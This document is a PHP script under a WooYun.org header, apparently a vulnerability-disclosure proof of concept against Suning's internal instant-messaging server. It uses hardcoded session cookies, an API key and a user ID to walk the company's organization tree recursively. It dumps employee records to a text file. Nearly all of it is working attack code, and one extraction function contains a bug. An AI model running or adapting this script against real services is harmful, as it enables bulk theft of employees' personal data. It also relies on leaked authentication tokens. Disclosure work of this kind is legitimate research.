WooYun.org

<?
include("conn.php");
set_time_limit(0);
function putdata($id,$postable="0")
{
	$hostip= "http://imapp.suning.com";
	$ch = curl_init();
	$timeout = 5; 
	if(1==$postable){  //获取用户数据
			$url = "/imserver/vcard/loadall";
			$data = 'usernames='.$id.'&propnames=&searchemploy=1';
			$datalen = strlen($data);
			$headers = array( 
			"POST ".$url." HTTP/1.1",
			"Content-Type: application/x-www-form-urlencoded",
			"Cookie: authId=si5239612559C1E6A6F48F7612B981EFC7",
			"Content-Length: ".$datalen,
			"Connection: Keep-Alive",
			"Accept-Encoding: gzip",
			"Accept-Language: zh-CN,en,*",
			"User-Agent: Mozilla/5.0",
			"Host: imapp.suning.com"	
       					); 
			}
	else{ 	        //获取结点信息         
			$url = "/imserver/organization/getOrgAndEmp.do";
			$data = 'orgId='.$id;
			$datalen = strlen($data);
			$headers = array( 
			"POST ".$url." HTTP/1.1",
			"Content-Type: application/x-www-form-urlencoded",
			"User-Agent: PcClient",
			"key: 9b826400b345f7b6bd873f1bf04db8ec",
			"uid: sn10043894",
			"Cookie: authId=si3E74D436350ECBEDB492773A8E2D6B17",
			"Content-Length: ".$datalen,
			"Connection: Keep-Alive",
			"Accept-Encoding: gzip",
			"Accept-Language: zh-CN,en,*",
			"Host: imapp.suning.com"
       									 ); 
				}
	$requestUrl = "$hostip"."$url";	
	curl_setopt($ch, CURLOPT_URL, $requestUrl);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_POST, 1); 
	curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 	curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
	$file_contents = curl_exec($ch);
	curl_close($ch);
	return $file_contents;
}
function getorgId($redata){     				//匹配部门id
			$rule = '/orgId\":\"*([\s\S]*?)\",/i';
			preg_match_all($rule, $redata, $result);
			return $result;
				}
function getuserId($redata){    				//匹配用户信息
			$rule = '/{\"empId\"*([\s\S]*?)}/i';
			preg_match_all($rule, $redata, $result);
			return $result;			
				}
function getuserinfo($redata){ 					//匹配用户id
			$rule = '/\"empJid\":\"*([\s\S]*?)@/i';
			preg_match_all($rule, $vlue, $result);
			return $result;
				}
function im($id){
		$i = putdata($id);
		if($i){
		$orgId = getorgId($i);
		if(!empty($orgId[1])){
				foreach($orgId[1] as $vlue){ im($vlue);}
				    	}
		else {	 
			$userid = getuserId($i);
			if(!empty($userid[0])){
			foreach($userid[0] as $vlue){
					echo "$vlue"."<br>";
					file_put_contents("userinfo.txt", "$vlue"."\r\n",FILE_APPEND);
					$usermailid = getuserinfo($i);
					//$rule = '/\"empJid\":\"*([\s\S]*?)@/i';
					//preg_match_all($rule, $vlue, $result);
					//$usermailid= $result[1];
					$userinfo = putdata($usermailid[1],$postable="1");			
							}
						}
					}
				}
							
}
im($id=10000002);
?>